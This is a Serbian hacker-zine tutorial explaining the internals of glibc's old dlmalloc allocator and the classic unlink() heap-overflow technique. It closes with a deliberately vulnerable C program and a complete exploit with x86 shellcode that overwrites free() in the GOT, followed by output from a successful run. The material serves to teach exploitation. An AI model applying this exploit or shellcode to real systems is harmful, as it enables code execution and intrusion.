                              ...................
                        ...::: phearless zine #4 :::...

....................>---[ Malloc Demistified - Part 1. ]---<...................

...........................>---[ by Wintermuth ]---<...........................
                                                    wintermuth[at]gmail[dot]com

 1. Uvod
 2. Doug Lea`s Malloc
       Alociranje memorije
       Binovi 
       Doubly-linked lista
       unlink()
       frontlink()
       malloc(3) algoritam 
       free(3) algoritam 
       realloc(3) algoritam 
 3. Eksploitacija - unlink() tehnika 
 4. Odvod
 
///////////////////////////////////////////////////////////////////////////
--==<[ 1. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
      
      U poslednje vreme je izaslo par tekstova sa jako lepim idejama vezanim za 
eksploataciju. Medju njima i jeadan vezan za heap eksploataciju na linuxu sto mi
dade ideju da napisem jedan tekst i eksploataciji heapa na linuxu. Kako je 
default linux alokator memorije Doug Lea`s  malloc ili ti dlmalloc ovaj tekst ce
opisivati njegove principe. Pocevsi od samih algoritama za alociranje memorije 
(koji su za razumevanje eksploatacije heapa jako bitni) do starih i novih 
tehnka eksploatacije. U ovom tekstu necete naci nista potpuno novo i do sada 
nevidjeno. Nisam izmisljao toplu vodu. Neko ce reci da je ovo i cist prevod 
vec postojecih tekstova, ali nije bas tako. Pokusao sam da na srpskom, prostijim
recima predtavim tehnike koje su tim velikim ljudima pale na pamet. 

///////////////////////////////////////////////////////////////////////////
--==<[ 2. Doug Lea`s Malloc
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

      Dakle GNU C library koristi dlmalloc alokator memorije. Funkcije koje to 
omogucavaju su malloc(), realloc(), calloc() i free(). Iako ce one biti opisane 
mozete procitati njihove man stranice. malloc() prima kao argument broj bajtova 
koje treba da alocira, a kao rezultat vraca pointer na alociranu memoriju. 
realloc() prima kao argumente pointer na vec alociranu memoriju i menja njenu 
velicinu u broj bajtova zadan kao drugi parametar. calloc() prima kao prvi 
argument broj elemenata niza, a kao drugi velicinu svakog elementa tog niza. 
kao rezultat vraca pointer na alociranu memoriju velicine duzine elemenata puta
broj elemenata. Memorija je prethodno ociscena. I free(), jasno, oslobadja 
memoriju na zadatoj adresi. 

      Kako kaze na samoj stranici koja opisuje dlmalloc
      http://gee.cs.oswego.edu/dl/html/malloc.html

      Doug Lea`s malloc nije najbrzi , niti najstedljiviji po pitanju memorije ili
najportabilniji , ali najbolje kombinuje ove tri odlike. 


      Bitna stvar kod chunkova kojima upravlja dlmalloc je sto oni pri sebi sadrze
informacije i o prethodnom i o narednom chunku. Ova bitna osobina, koja je 
kljucna pri alociranju memorije i koja omogucava na primer spajanje dva susedna 
chunka ako su neiskorisceni, predstavlja svu divotu i lepotu malloc 
eksploatacije. Naime ako je napadac u stanju da kontrlise te podatke lako moze 
da prvari dlmalloc i  da izvrsi svoj shellcode ili sta vec. O tehnikama 
iskoriscavanja ovoga kasnije. A sada o samom funkcionisanju alokatora.

      U dlmalloc alokatoru dostupni chunkovi se nalaze u binovima poredjani po 
velicini. Pretraga za odgovarajucim chunkom se vrsi od najmanjeg chunka kod se 
ne dodje do best-fit chunka, odnosno onog koji je najpriblizniji vrednosti 
koja se trazi.

      Postoji i poseban chunk koji se naziva wilderness chunk. To je poslednji 
chunk koji se nalazi na granici adresa koje je sistem alocirao. Kao takav, 
predstavlja jedini koji moze da se poveca. Iako moze biti iste velicine kao i 
bilo koji drugi chunk algoritmi za alokaciju ga smatraju vecim od ostalih zato
sto moze da se poveca sve do granica normale. Tako da on uvek ostaje 
neiskoriscen. Sa napadaceve tacke gledista , wilderness chunk predstavlja veoma 
tezak problem. dlmalloc posebno upravlja ovim chunkom i korumpiraje njegovih 
delova je jako otezano. 

      Velicina alocirane memorije od strane alokatora nikada nije jednaka 
zahtevanoj velicini. Do ovoga dolazi zbog toga sto svaki chunk sadrzi 
informacije o prethodnom, a i zbog toga sto je velicina scakog chunka jednaka 
nekom broju puta 8. Kada se da zahtev za alociranjem memorije velicine 0 bajtova
alokator u stvari alocira 16 bajta. To je minimum koji moze da se alocira.

            

      Kakve su to informaciju u svakom chunku? E, sad dolazimo do bitnih stvari za
samu eksploataciju. 

      #define INTERNAL_SIZE_T size_t

      struct malloc_chunk {
      INTERNAL_SIZE_T prev_size;
      INTERNAL_SIZE_T size;
      struct malloc_chunk * fd;
      struct malloc_chunk * bk;
            };

            Alocirani chunk izgleda otprilike ovako:

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: velicina prethodnog chunka, dlmalloc ovo     |
             | koristi samo ako je prethodni chunk slobodan            |
             +---------------------------------------------------------+
             | size: velicina chunka, razlika izmedju chunk i          |
             | nextchunk i jos dva bita statusnih informacija          |
      mem -> +---------------------------------------------------------+
             | fd: dlmalloc ga trenutno ne koristi jer je chunk        |
             | alociran - sama memorija koja se korisitpocinje ovde    |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             | bk: dlmalloc ga trenutno ne koristi jer je chunk        |
             | alociran                                                |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             | sami podaci                                             |
nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
             | prev_size: velicina prethodnog , posto je on alociran   |
             | dlmalloc ga ne koristi                                  |
             +---------------------------------------------------------+


      Kada se alocira memorija (putem malloc() ili realloc()) vraca se pointer na 
mem. Da bi se dobio pointer na mem od pocetka chunka koriste se funkcije 
chunk2mem(), a za obrnuto mem2chunk()(logicno zar ne:)). To si izvodi prilicno 
prosto, jednostano se dodaju ili oduzmu 8 bajta. Velicina prev_size i size 
hedera je po 4 bajta pa je samim tim i prostor koji odvaja pocetak chunka od 
pocetka memorije 8 bajta.



      Slobodni chunkovi se nalaze doubly-linked listi i izgledaju ovako:

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: posto je chunk slobodan koze se korisiti     |
             | za smestanje podataka iz prethodnog                     |
             +---------------------------------------------------------+
             | size: velicina chunka  i jos dva bajta inforamcija o    |
             | statusu                                                 |
             +---------------------------------------------------------+
             | fd: forward pointer, pokazivac na sledeci chunk u listi |
             | ne na sledeci fizicki chunk                             |
             +---------------------------------------------------------+
             | bk: back pointer, pokazivac na prethodni chunk u listi  |
             | ne na fizicki prethodni chunk                           |
             +---------------------------------------------------------+
             |  slobodan prostor                                       |
sledeci chunk+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: velicina prethodnog chunka jer je slobodan   |
             +---------------------------------------------------------+ 

    Alociranje memorije:

      Korisnik zahteva odredjen broj bajtova i dobija pointer na njih. Kako?

      Kada dobije zahtev za alociranje, dlmalloc prvo poziva request2size() 
funkciju koja zahtevanu velicinu prebacuje u onu koju dlmalloc koristi. To zbog 
gore pomenutih hedera, cija je ukupna velicina 8 i zbog toga sto, kao sto sam 
vec rekao, svaka velcina koju alocira dlmalloc jednaka nekom broju puta 8. Zato 
sto sto se prev_size heder sledeceg chunka moze koristiti za smestanje podataka 
(ako je prethodni chunk alociran nema potrebe za inforamcijama o njegovoj 
velicini) od ukupnog rezultata se oduzima 4. To izgleda ovako: 

#define request2size(req, nb) \
 ((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\
  ((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \
   ? (__set_errno (ENOMEM), 1) \
   : ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \
           ? (nb = MINSIZE) : (nb &= ~MALLOC_ALIGN_MASK)), 0)))


      Vec sam napomenuo za sta sluzi prev_size heder. size heder sadrzi 
informacije o velicini i dva bita statusnih informacija. Otkud ta dva bita?
Posto je velicina svakog chunka jednaka nekom broju puta 8, 3 LSB (Least 
Significant Bit) ce uvek biti 0. Da nebi stojali bezveze , dva se koriste 
za statusne informacije, a treci ostaje neiskoriscen. Prvi LSB bit predstavlja 
PREV_INUSE informaciju, a drugi LSB bit IS_MMAPED informaciju. Ako je PREV_INUSE
bit postavljen on oznacava da je prethodni fizicki chunk zauzet i da prev_size 
heder moze da sadrzi korisnicke podatke. Ako PREV_INUSE bit nije postavljen 
to znaci da prethodni fizicki chunk nije u upotrebi i da prev_size heder sadrzi 
informacije o njemu koje koristi dlmalloc. Akoje IS_MMAPED bit postavljen to 
znaci da je chunk alociran koristeci sistemske mmap mehanizme. 

      Binovi 


      Slobodni chunkovi su organizovani u binove i to po velicini. Postoji 128 
binova razlicite velicine. Prvih 62 bina se nazivaju malim binovima. Binovi su 
organizovani po svojim indeksima. dlmalloc sve chunkove manje od 512 bajta 
smatra malim binovima. U binovima se nalaze chunkovi iste velicine. Kako je 
najmanja velicina chunka 16 bajta. Prvi bin sadrzi chunkove od 16 bajta. Kako su
velicine chunkova jednake nekom broju puta 8, sledeci bin sadrzi chunkove od 24 
bajta, bin ciji je index 3 sadrzi chunkove od 32 bajta i tako dalje. Samim tim 
bin s indeksom 62 sadrzi chunkove velicine 504 bajta. Lako se moze izracunati 
koji indeks ima bin kojem pripada chunk. 


      Doubly-linked lista


      Slobodni chunkovi su oraganizovani u doubly-linked listama. Postoji po jedna 
doubly linked lista po binu. Na pocetku su ove liste prazne posto je ceo heap
samo jedan veliki neiskorisceni chunk, wilderness chunk. Bin nije nista drugo do 
par pointera koji sluzi doubly-linked listama. Postoje forward pointer i back
pointer. Forward pointer bina pokazuje na prvi (najveci) chunk u listi. 
Forward pointer tog chunka pokazuje na sledeci chunk, ovaj na sledeci, sve dok 
poslednji chunk ne pokaze ponovo na bin. Back pointer pokazuje na poslednji 
chunk u listi, back pointer tog chunka pokazuje na onaj ispred njega i tako 
redom sve dok prvi chunk ne pokaze na sam bin, ako je lista prazna back pointer 
bina pokazuje na sam bin.

      unlink()

      Da bi dlmalloc sklonio neki chunk sa njegove doubly-linked liste, mora da 
zameni back pointer sledeceg chunka sa adresom chunka prethodnom onome koji hoce
da skine sa doubly linked liste. Isto tako mora i forward pointer prethodnog 
da zameni adresom sledeceg.dlmalloc ovo radi putem unlink() makroa :

#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}

      Upravo unlink() makro je esencijalan za jednu od metoda eksploatacije.


      frontlink()

      Da bi se oslobodjeni chunk "ubacio" u odgovarajuci bin a samim tim i u 
odgovarajucu doubly-linked listu poziva se frontlink() makro. On prvo odredjuje
odgovarajuci bin u koji treba da se smesti chunkk izracunavajuci njegov indeks 
kao sto je vec opisano ( za to poziva smallbin_index() ili bin_index() u 
zavisnosti  da li je rec o malom chunku ili o vecem). Zatim se poziva bin_at()
da bi se odredila adresa bina u memoriji i na kraju se napokon chunk stavlja na 
pravo mesto u doubly-linked listi tog bina. Ovo je  FIFO organozovana 
struktura podataka i stoga chunk odlazi na pocetak, a chunkovi za koriscenje se 
uzimaju s kraja.

      Ovako izgleda frontlink() :

#define frontlink( A, P, S, IDX, BK, FD ) {            \
    if ( S < MAX_SMALLBIN_SIZE ) {                     \ // ako je rec o malom 
        IDX = smallbin_index( S );                     \ // bin  poziva 
        mark_binblock( A, IDX );                       \ // smallbin_index()
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
    } else {                                           \ // ako je rec o vecem 
        IDX = bin_index( S );                          \ // binu poziva 
        BK = bin_at( A, IDX );                         \ // bin_index()
        FD = BK->fd;                                   \
        if ( FD == BK ) {                              \
            mark_binblock(A, IDX);                     \
        } else {                                       \
            while ( FD != BK && S < chunksize(FD) ) {  \
                FD = FD->fd;                           \
            }                                          \
            BK = FD->bk;                               \
        }                                              \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
    }                                                  \
}


 P je chunk velicine S , IDX je index odgovarajuceg bina, BK back pointer 
i FD forward pointer.


      malloc(3) algoritam 

      
      malloc(3) je u GNU C libraryu oznacen kao __libc_malloc() a u samom malloc.c
kao mALLOc(). Pri pozivanju ove funkcije, prvo se zahtev za memorijom od strane
programa prebacuje u formu koja moze da se koristi putem prethodno opisanog 
request2size(). Zatim se to prosledjuje chunk_alloc() koja iam dve opcije:
      
      Prva opcija:
      
      Da najde bin odgovaraujce velicine i ako je u njemu nadjen chunk 
odgovarajuce velicine on biva izauzet. dlmalloc smatra da je chunk odgovarajuce 
velicine ako je razlika izmedju njegove velicine i velicine zahteva veca ili 
jednaka 0 ali manja od MINSIZE. Ako je njegova velicina manja od zahteva, chunk 
bi bio premali, ako je razlika 0 chunk bi bio odgovarajuc. Sve vece vrednosti bi
bile odgovarajuce dok god ta razlika nije MINSIZE ili 16, jer bi onda dlmalloc 
mogao da formira novi chunk ali to prva opcija ne omogucava.
      Zahtevi za alociranjem malih chunkova se procesiraju na dva nacina. Zahtev 
se smatra zahtevom za mali chunk ako je index odgovarajuceg bina i index 
sledeceg bina mali.Ako doubly-linked lista bina nije prazna uzima se poslednjim 
chunk iz nje. 
      Ako je doubly-linked lista odgovarajuceg chunka prazna uzima se poslednji 
chunk iz doubly-linked liste sledeceg bina ( razlika izmedju zahteva i velicine 
chunka je idalje manja od MINSIZE jer je onda samo 8 a ne 16). Ako je nadjen 
odgovarajuci chunk poziva ze unlink() makro da bi ga izbacio iz njegove 
doubly-linked liste i njegova adresa se vraca mALLOc()-u. On se nalazi tako sto 
chunk_alloc() skenira doubly-linked listu tog bina pocevsi od najmanjeg chunka i 
prateci nejgov back pointer ka vecim chunkovima. Ako se tokom skeniranja naidje 
na chunk koji je izuvise veliki u odnosu na zahtev, skeniranje se prekida jer bi
svaki sledeci shunk bio jos veci. Ako se tokom skeniranja naidje na chunk koji 
je upravo odgovarajuce velicine unlink() se poziva. Ako se tokom skeniranja ne 
naidje na odgovarajuci chunk koristi se druga opcija.

      Druga opcija:

      Ako prva opcija nije uspela koristi se najnoviji remaindered chunk. On ne 
mora uvek da postoji. dlmalloc daje specijalno znacenje tom chunku sa 
link_last_remainder(), a sklanja ga sa clear_last_remainder(). Ako je neki od 
chunkova oznacen sa last_remainder on biva podeljen ako je njegova velicina 
dovoljno velika, ako je razlika izmedju njegove velicine i velicine zahteva 
veca ili jednaka MINSIZE. Prvi deo, koji je velicine zahteva, biva vracen 
mALLOc(), a drugi deo postaje novi last_remainder. Ali ako on nije dovoljno 
veliki, ako je razlika izmedju njegove velicine i velicine zahteva manja od 
MINSIZE, poziva se clear_last_reminder(). Mogucnosti su da chunk_alloc() 
vrati taj chunk koji je upravo oslobodio oznake last_remainder mALLOc()u ako je 
razlika njegove velicine i velicine zahteva jednaka ili veca od 0 ili ga 
stavlja u odgovarajucu doubly-linked listu (ako je razlika izmedju njegove 
velicine i velicine zahteva manja od nule). Ako idalje nema odgovarajuceg chunka
prelazi se na skeniranje sledeceg bina. Skeniranje se nastavlja pocevsi od 
najmanjeg chunka u doubly-linked listi tog bina pratici njegove back pointere 
sve dok se ne nadje chunk koji je veci od velicine zahteva. Taj chunk biva 
podeljen na dva dela (ako je razlika izmedju njegove velicine i velicine 
zahteva veca ili jednaka MINSIZE). Prvi deo se pomocu unlink() sklanja iz 
njegove doubly-linked liste i vraca mALLOc() funkciji kao odgovarajuci chunk, 
drugi deo postaje novi last_reminder pomocu link_last_remainder(). Ako je nadjen
chunk upravo odgovarajuce velicine (razlika njegove velicine i velicine zahteva 
je jednaka ili veca od nule ali manja od MINSIZE) on biva skinut sa svoje 
doubly-linked liste i prosledjen mALLOc() funkciji. 
      Ako pak nijedan od gornjih uslova nije ispunjen prelazi se na sledece:
Wilderness chunk biva procesiran. Ako je dovoljno veliki ( ako je razlika 
izmedju njegove velicine i velicine zahteva veca ili jednaka MINSIZE) biva 
podeljen na dva dela. Prvi deo se vraca mALLOc() funkciji, a drugi postaje novi
wilderness chuk. Ako nije dovoljno veliki, a ako se zahtev podudara sa mmap 
thresholdom, a sistem podrzava mmap (linux ga podrzava) memorija se alocira 
putem mmap() poziva. Kako je mmap threshold prilicno veliki ( mmap threshold 
mozete kontrolisati putem MALLOC_MMAP_THRESHOLD_ environment varijable sem  
u slucaju SUID programa kada ova varijabla ne moze da zaobidje defaultnu 
vrednost od 128k) nece uvek doci do alociranja putem mmap() poziva. U slucaju da
mmap threshold nije dostignut granice koje je sistem ranije postavio se 
povecavaju koriscenjem sbrk() poziva. Samim time wilderness chunk biva povecan 
i zatim opet podeljen kao u slucaju da je dovoljno veliki. Ako prosirenje ne 
uspe mALLOc() funkciji se vraca NULL pointer sto indicira gresku.

      free(3) algoritam 


      free(3) je u GNU C librariju predstavljen kao __libc_free() a u samom 
malloc.c fajuli kao fREe() funkcija. Po pozivanju, funkcija prvo utvrdjuje da 
li je chunk koji treba da oslobodi alociran pomocu mmap sistemskog mehanizma.
To utvrdjuje pomocu chunk_mmaped() makora i onog IS_MMAPED bita iz hedera 
chunka. Ako jeste, oslobadja chunk pomocu munmap() funkcije (prosledjuje pointer 
munmap_chunk()),a ako nije oslobadja ga putem free_chunk() koji je nama bitniji.
Ako se chunk koji treba da se oslobodi granici sa wilderness chunkom, ta dva 
bivaju spojena i formira se novi veci wilderness chunk. Ako se ne granici sa 
wilderness chunkom desava se da se prethodni chunk i onaj koji se oslobadja 
spajaju.Takodje, chunk koji se oslobadja se spaja sa sledecim ako ovaj nije 
zauzet. Oba chunka, i prethodni i sledeci, bivaju skinuti sa sovjih 
doubly-linked listi i formira se novi chunk koji se smesta u odgovarajuci bin.
Ako je prethoni chunk bio obelezen sa last_remainder novi koji nastaje spajanjem
ova dva postaje takodje last remainder. Informacije o last remainderu se menjaju
samo kada se njegov pocetak promeni. Znaci da se link_last_remainder()  poziva 
samo kada je adresa pocetka starog last remaindera razlicita od adrese novog 
last remaindera. 


      realloc(3) algoritam 

      realloc(3) je u GNU C libraryu predstavljen kao __libc_free(), a u samom 
malloc.c fajlu kao rEALLOc(). Ako se realloc() funkcija poove sa argumentom za 
velicinu jednakom nuli realocirace se memorija velicine MINSIZE, osim ako je 
REALLOC_ZERO_BYTES_FREES postavljen, ako jeste postavljen, poziva se free() 
funkcija i memorija se oslobadja. Ako se pozove sa pointer argumentom jednakom 
nuli realloc() se smatra istim kao malloc(). Ako se realloc() pozove sa 
vrednostima koje odgovaraju, pointer vrednost kao pokazivac na vec alocirani 
chunk, a size argument nova vrednost memorije dolazi do sledecih koraka. Prvo se 
utvrdjuje da li je chunk alociran pomocu mmap mehanizma sa chunk_is_mmaped(), 
ako nije prelazi se na funkciju chunk_realloc. Postoje dve mogucnosti zahteva.
Da je zahtev za smanjenjem alocirane memorije i za povecanjem alocirane 
memorije. Ako se zahteva smanjenje memorije uporedjuju se velicine prethodno 
alociranog chunka i novog zahteva. Naravno , prvo se zahtev preda funkciji za 
prebacivanje u odgovarajuci oblik ( request2size()). Ako je razlika izmedju 
prethodno alociranog chunka i novog zahteva veca ili jednaka MINSIZE chunk 
jednostavno biva podeljen. Njegov prvi deo, koji je velicine zahteva, biva 
alociran, a drugi deo oslobodjen putem free(). Ako je razlika izmedju prethodno 
alociranog chunka i zahteva manja od MINSIZE, chunk se ne dira, jednostavno biva
vracen rEALLOc() funkciji.
      Kod zahteva za prosirenjem memorije moze doci do nekoliko stvari. Ako je 
sledeci chunk posle prethodno alociranog chunka slobodan postoje dve opcije. Ako 
je taj sledeci chunk ujedno i wilderness chunk i ako je njegova velicina plus 
velicina chunka koji se realocira MINSIZE ili vise bajta veca od zahtva, 
wilderness chunk biva podeljen na dva dela. Prvi deo se spaja sa chunkom koji se
realocira i pointer na njega se vraca rALLOc() funkciji, a drugi deo postaje 
novi wilderness chunk. Ako je pak chunk koji se nalazi posle chunka koji se 
realocira obican chunk biva sledece. Ako je velicina chunka koji se realocira 
zajedno sa velicinom sledeceg i prethodnog chunka veca ili jednaka sa  velicinom
zahteva, ta tri chunka se spajaju, sadrzaj realociranog chunka se kopira u novi 
chunk, a taj novonastali chunk se procesirao kao u slucaju zahteva za smanjenjem
alocirane memorije.
      Ako je velicina prethodnog chunka i onog koji biva alociran veca ili jednaka
velicini zahteva, ova dva chunka bivaju spojena, a taj prethodni biva skinut sa 
svoje doubly-linked liste pomocu unlink().
      Ako ne moze da se realocira sa chunkom dovoljno velike velicine oziva se 
vec objasnjena funkcija chunk_alloc() koja alocira novi chunk. Ako se taj 
novoalocirani chunk nalazi odmah ispred chunka koji je bio realociran ( do toga
moze da dodje samo ako taj sledeci chunk nije bio dovoljno veliki, ali da je 
nekako prosiren, posto je jedini chunk koji moze da se prosiri wilderness chunk 
to znaci da je sledeci chunk bio wilderness chunk) njih dvoje bivaju spojeni i 
dalje se procesiraju kao u slucaju zahteva za smanjenje memorije. Ako to nije 
sledeci chunk, sadrzaj realociranog chunka se prebacuje u novoalocirani chunk
a sam chunk koji se alocira biva oslobodjen pomocu fREe(). Napokon, pointer 
ka tom novoalociranom chunku se vraca rEALLOc() funkciji.

///////////////////////////////////////////////////////////////////////////
--==<[ 3. Eksploitacija - unlink() tehnika 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

      Kao sto je vec objasnjeno, unlink() sluzi za "vadjenje" chunka iz njegove 
doubly-linked tabele. Sta se tu desava detaljnije? Recimo da program moze da u 
alocirani bafer smesti nekontrolisano velike podatke, tacnije, on ne moze da ih 
smesti vec ih smesta i iza te alocirane memorije kao u slucaju obicnog buffer 
overflowa. Dakle ako je u mogucnosti da pise van granica alocirane memorije,
odnostno alociranog chunka, napadac moze da prepise neke vitalne podatke 
sledeceg chunka u memoriji i, ako bi naveo dlmalloc da procesira taj sledeci 
chunk nekako, navede program da izvrsi maliciozni kod ili ti shellcode. U tome 
lezi sva divota eksploitacije dlmalloc alokatora memorije:). Recimo da napadac 
moze da prepise vrednost FD pointera adresom neke funkcije - 12 bajta (tih 12 
bajtova  cine offset na kojoj se udaljenosti nalazi BK pointer unutar hedera 
chunka), a zatim sadrzaj BK pointera prepise adresom shellcodea, posle 
procesiranja tog korumpiranog chunka bi unlink() prepisao adresu funkcije 
adresom shellcodea koji bi se izvrsio po pozivanju te funkcije. Klasican 
scenario bi bio da se u  FD pointeru nalazi adresa neke funkcije u GOT tabeli 
koja se u daljem radu programa poziva, a u BK pointeru adresa samog shellcodea.
Ali stvari nisu bas toliko proste, mada ni bas mnogo komplikovanije:) Naime, 
unlink() ce u sred niza na koji pokazuje BK upisati FD pointer koji nam kvari 
nas shellcode i sve odlazi do djavola i nema mu spasa. Dobro, ne placite jos, 
nije sve bas tako crno, sve sto treba da uradite jeste da kao prvu instrukciju 
shellcodea stavite jedan jump koji bi skocio iza tog upisanog FD pointera na 
regularni shellcode i dalje sve tece kao podmazano. Kako unlink() taj FD pointer
upisuje na adresi na koju pokazuje BK pointer + 8 (8 je offset na kojem se 
nalazi FD pointer unutar hedera chunka) bajta zna se koliko treba preskociti.
      Kako bih demonstrirao ovu tehniku koristicu vec postojece primere iz 
teksta iz phracka posto ne zelimd a izmisljam toplu vodu, a i oni su sasvim 
jasni. Sledi ranjivi program: 

int main( int argc, char * argv[] )
{
    char * first, * second;

 first = malloc( 666 );
 second = malloc( 12 );
 strcpy( first, argv[1] );
 free( first );
 free( second );
}

      Sta se desava pri pokretanju programa? Program alocira dva bafera. Jedan 
velicine 666 bajta, a drugi velicine 12 bajta. Zatim se u prvi bafer kopira 
parametar zadan na komandnoj liniji (ko je upopznat sa eksploitacijom obicnih 
stack overflowova odmah uocava ranjiovst) za ociglednim nedostatkom provere 
da li argv[1] moze da stane u bafer. Zatim se oslobadja prvi alocirani bafer 
a odmah za njim i drugi. 
      Samim tim sto ne proverava duzinu, program je ranjiv. Napadac moze da pise 
van granica prvog bafera i napravi stetu. Posto je odmah iza prvog bafera 
alociran drugi, napadac moze da kontrolise sadrzaj njegovih hedera ukljucujuci 
PREV_INUSE bit na primer, PREV_SIZE, i narabvno FD i BK pointere! E posto je vec 
receno da je velicina svakog alociranog bafera jednaka nekom broju puta 8 
sam alocirani bafer nije velicine 666 bajta vec request2size(666) sto rezultuje 
sa 672 alocirana bajta. Kako neki deo tog alociranog prostora spada u hedere 
efektivna velicina bafera je request2size(666) - 4  a to je jednako 668.
      Znaci, da bi kontrolisao vrednosti sledeceg chunka, napadac mora kao prvi 
argument  programu da prosledi argument duzine vise od668+12 bajta. E sad glavna
fora je navesti unlink() da procesira taj korumpirani chunk. Pri pozivanju 
free() funkcije on bi se procesirao u slucaju da je slobodan kako bi se 
formirala odgovarajuca doubly-linked tabela. Ali on nije slobodan. E sad, setite
se kako dlmalloc utvrdjuje da li je chunk slobodan. On to radi tkao sto vidi 
PREV_INUSE bit sledeceg chunka i ako je on postavljen smatra taj chunk zauzetim.
A kako dolazi do PREV_INUSE bita sledeceg chunka? Koristi size deo tog chunka 
da bi izracunao adresu sledeceg chunka. Kako napadac kontrolise informacije o 
tom chunku on je u mogucnosti da prevari dlmalloc da smatra taj chunk slobodnim.
Na primer, ako napadac u size polje upise vrednost od -4, kada dodje do 
izracunavanja dlmalloc ce izracunati da je pocetak sledeceg chunka 4 bajta 
ispred pocetka korunpiranog chunka. Zbog toga ce umesto da procita size polje 
sledeceg chunka procitati PREV_SIZE korumpiranog chunka. Napdac moze da upise, 
dakle, broj po sovjoj zelji i navesti malloc da procita PREV_INUSE bit nekog 
drugog chunka, zbog toga smatrati korumpirani chunk slobodnim i procesirati ga 
sa unlink() sto dalje dovodi do izvrsenja shellcodea.
      Kad vec koristim primer ranjivog programa koristicu i exploit, opet da nebih
izmisljao toplu vodu:) Exploit iz phracka prepisuje FD pointer adresom free() 
funkcije u GOT tabeli - 12 bajta i BK pointer adresom shellcodea koji se nalazi 
8 bajta od pocetka prvog chunka. Dakle za exploitaciju su nam protrebne dve 
informacije. Adresa alociranog prvog bafera i adresa free() funkcije u GOT. 
      Autor teksta u phracku koristi ltrace za pronalazenje adrese bafera. Ja 
trenutno nemam ltrace pa cu stoga dodati u ranjivi program jednu liniju koja ce 
mi pomoci. Sada ranjivi program izgleda ovako:

int main( int argc, char * argv[] )
{
    char *first, *second;

 first = malloc( 666 );       // alociran prvi bafer
 second = malloc( 12 );       // alociran drugi bafer
 printf("0x%x\n",first);      // stampa adresu prvog bafera
 strcpy( first, argv[1] );  // ranjivi deo
 free( first );                     // oslobadja prvi
 free( second );              // oslobadja drugi
}

      Pri pokretanju: 
      
earthquake@ono-sendai:~$ gcc vuln.c  -o vuln
vuln.c: In function `main':
vuln.c:5: warning: assignment makes pointer from integer without a cast
vuln.c:6: warning: assignment makes pointer from integer without a cast
bash-2.05b$ ./vuln asd
0x80496d0 <--------nama potrebna adresa bafera 
earthquake@ono-sendai:~$

      Za pronalazenje adrese free() funkcije u GOT moze se koristiti objdump:

earthquake@ono-sendai:~$ objdump -R ./vuln | grep free
08049670 R_386_JUMP_SLOT   free
earthquake@ono-sendai:~$ 

      Dakle, trazena adresa je 0x08049670. GOT adrese se nalaze u otprilike 
odredjenom rasponu sto pri remote exploitima moze da se koristi za brute force 
utvrdjivanje adrese. 
       I sam exploit: 

#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x08049670 ) //adresa free() u GOT
#define CODE_ADDRESS ( 0x080496d0 + 2*4 ) // adresa bafera + 8 

#define VULNERABLE "./vuln" // ocigledno :)
#define DUMMY 0xdeadc0de // djubre
#define PREV_INUSE 0x1 

char shellcode[] =
        /* the jump instruction */
        "\xeb\x0appssssffff"
        /* E bas da ne koristim Aleph Oneov shellcode :)))*/
            /* Cr4zy l33t h3llc0d3z !!!!*/
      "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
            "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
            "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
            "\xd2\xb0\x0b\xcd\x80";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /*  fd prvog chunka */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /*  bk prvog chunka */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* sp3cial h3llc0d3z */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* djubre */
        memset( p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );
        /* prev_size drugog chunka */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* size drugog chunka */
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* fd drugog chunka */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* bk drugog chunk */
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* Presveti NUL koji terminira string, svi se poklonite! */
        *p = '\0';
       
        execve( argv[0], argv, NULL ); //t00 l33t t0 und3rs4nd :)
        return( -1 );
}
 

      E sad se samo nadam da ce da radi :)

            Ajd` da vidimo i to cudo:


earthquake@ono-sendai:~$ gcc expl.c -o expl
earthquake@ono-sendai:~$ ./expl 
0x80496d0
ANisp2.doc  MallocDemistified.txt        expl.c    siddhartha.pdf
Desktop     MallocDemistified.txt~       install   vuln
Downloads   baumann-hesse-and-india.pdf  lida      vuln.c
Mail        expl                         projects
earthquake@ono-sendai:~$ 

